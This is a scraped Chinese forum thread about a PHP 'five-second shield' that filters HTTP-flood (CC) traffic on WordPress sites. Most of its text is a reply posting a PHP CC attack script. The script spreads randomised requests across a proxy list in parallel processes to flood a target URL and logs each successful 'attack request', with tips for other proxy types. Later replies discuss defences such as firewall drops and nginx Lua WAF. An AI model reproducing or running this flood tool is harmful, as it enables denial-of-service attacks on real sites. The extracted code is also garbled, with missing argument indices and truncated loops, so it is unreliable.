5秒盾防CC(PHP通用代码)
您的主题 Wordpress - 5秒盾防CC(PHP通用代码) 被 mtx 关闭,刚才的帖子被关闭了;重新发一帖
022.gif
这是个类似Cloudflare的防 cc 功能,利用的是五秒盾的原理,经过检测得到 cookie 的浏览器才能正常的访问你的网站了,当然了,面对数以万计的肉鸡,这代码还是无能为力的,所以说做人就要低调,别到处装逼,到时候被打了惨的还是自己。
代码见签名网站
WordPress 上传到主题/template/cc.php ;
调用代码
PHP 通用调用,在头部或主要文件内文件加入:
[*]复制代码
WordPress 调用,主题/header.php 第一行添加代码:
[*]复制代码
搜索引擎蜘蛛已经过滤,不影响收录,还有未加上的可以自己补充。平时没攻击的时候建议不要开启,影响网站体验,配合《Nginx lua waf 简单防御 CC 攻击》效果更佳。 打到FPM了,只能说是基础缓解,最好在nginx上用lua写 让我们来出一个对策
CURLPROXY_SOCKS5改为CURLPROXY_HTTP即可食用http代理
改为CURLPROXY_SOCKS4可使用socks4代理
[*] \n";
[*] echo "Power by Kagurazaka Shira\n";
[*] exit;
[*]}
[*]
[*]if (!file_exists("$argv")) {
[*] exit("Invalid input file!\n");
[*]}
[*]
[*]$method = strtolower($argv);
[*]if ($method != 'get' && $method != 'post') {
[*] exit("Invalid input method!\n");
[*]}
[*]$data = $argv ?? ''; //请求参数
[*]
[*]if ($method == 'get' && !empty($data)) {
[*] $url = strpos($url, '?') ? ($url . '&' . $data) : ($url . '?' . $data);
[*]}
[*]
[*]$url = $argv; //url
[*]$array = file($argv, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); //列表
[*]$childcount = $argv; //线程数
[*]$array = array_unique($array);
[*]$part = array();
[*]$part = partition($array, $childcount); //列表分割
[*]
[*]$end_time = time() + intval($argv);
[*]
[*]for ($i = 0; $itime()) {
[*] foreach ($part[$i] as $ip) {
[*] $rand_num = mt_rand();
[*] $rand_str = md5($rand_num);
[*] $url = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $url);
[*] // var_dump($url);
[*] $curl = curl_init();
[*]
[*] curl_setopt_array($curl, array(
[*] CURLOPT_URL => $url,
[*] CURLOPT_RETURNTRANSFER => true,
[*] CURLOPT_SSL_VERIFYHOST => false,
[*] CURLOPT_SSL_VERIFYPEER => false,
[*] CURLOPT_ENCODING => "",
[*] CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5,
[*] CURLOPT_PROXY => $ip,
[*] CURLOPT_MAXREDIRS => 10,
[*] CURLOPT_TIMEOUT => 30,
[*] CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
[*] // CURLOPT_CUSTOMREQUEST=> "GET",
[*] CURLOPT_HTTPHEADER => array(
[*] "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
[*] // "accept-encoding: deflate, br",
[*] "accept-language: zh-TW,zh-HK;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5,en-US;q=0.4,en-HK;q=0.3,en;q=0.2,ru;q=0.1,fa;q=0.1",
[*] "cache-control: no-cache",
[*] "dnt: 1",
[*] "pragma: no-cache",
[*] "upgrade-insecure-requests: 1",
[*] "user-agent: " . $ua,
[*] ),
[*] ));
[*] if ($method == 'post' && !empty($data)) {
[*] $data = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $data);
[*] curl_setopt($curl, CURLOPT_POST, true);
[*] curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
[*] }
[*] $response = curl_exec($curl);
[*] if (empty($response)) {
[*] // echo "proxy {$ip} down.\n";
[*] continue;
[*] } else {
[*] echo "attack request use {$ip} success\n";
[*]
[*] }
[*]
[*] }
[*] }
[*]
[*] exit;
[*] }
[*]}
[*]for ($j = 0; $j 复制代码 那就通过HTTP协议头中的REMOTE_ADDR、HTTP_VIA、HTTP_X_FORWARDED_FOR来判断是代理禁止访问;
或者通过WebRTC的JS,HTML5的API检测代理并禁止 你起码把ip加到防火墙drop掉才有效果
lol.gif
lol.gif
都来到后端了 ,iptable 或者 nginx 就应该禁了 反正都到你的服务器了,你禁不禁根本无所谓,攻击目的已经达到,你再去禁止,怎么说呢,就是别人打你一巴掌,你然后摸摸脸说,不疼不疼,有啥用 又看到了大佬了
Kslr 发表于 2019-3-2 16:00
打到FPM了,只能说是基础缓解,最好在nginx上用lua写
https://www.yunloc.com/167.html
已经有Nginx_lua_waf教程了
022.gif
页:
[1]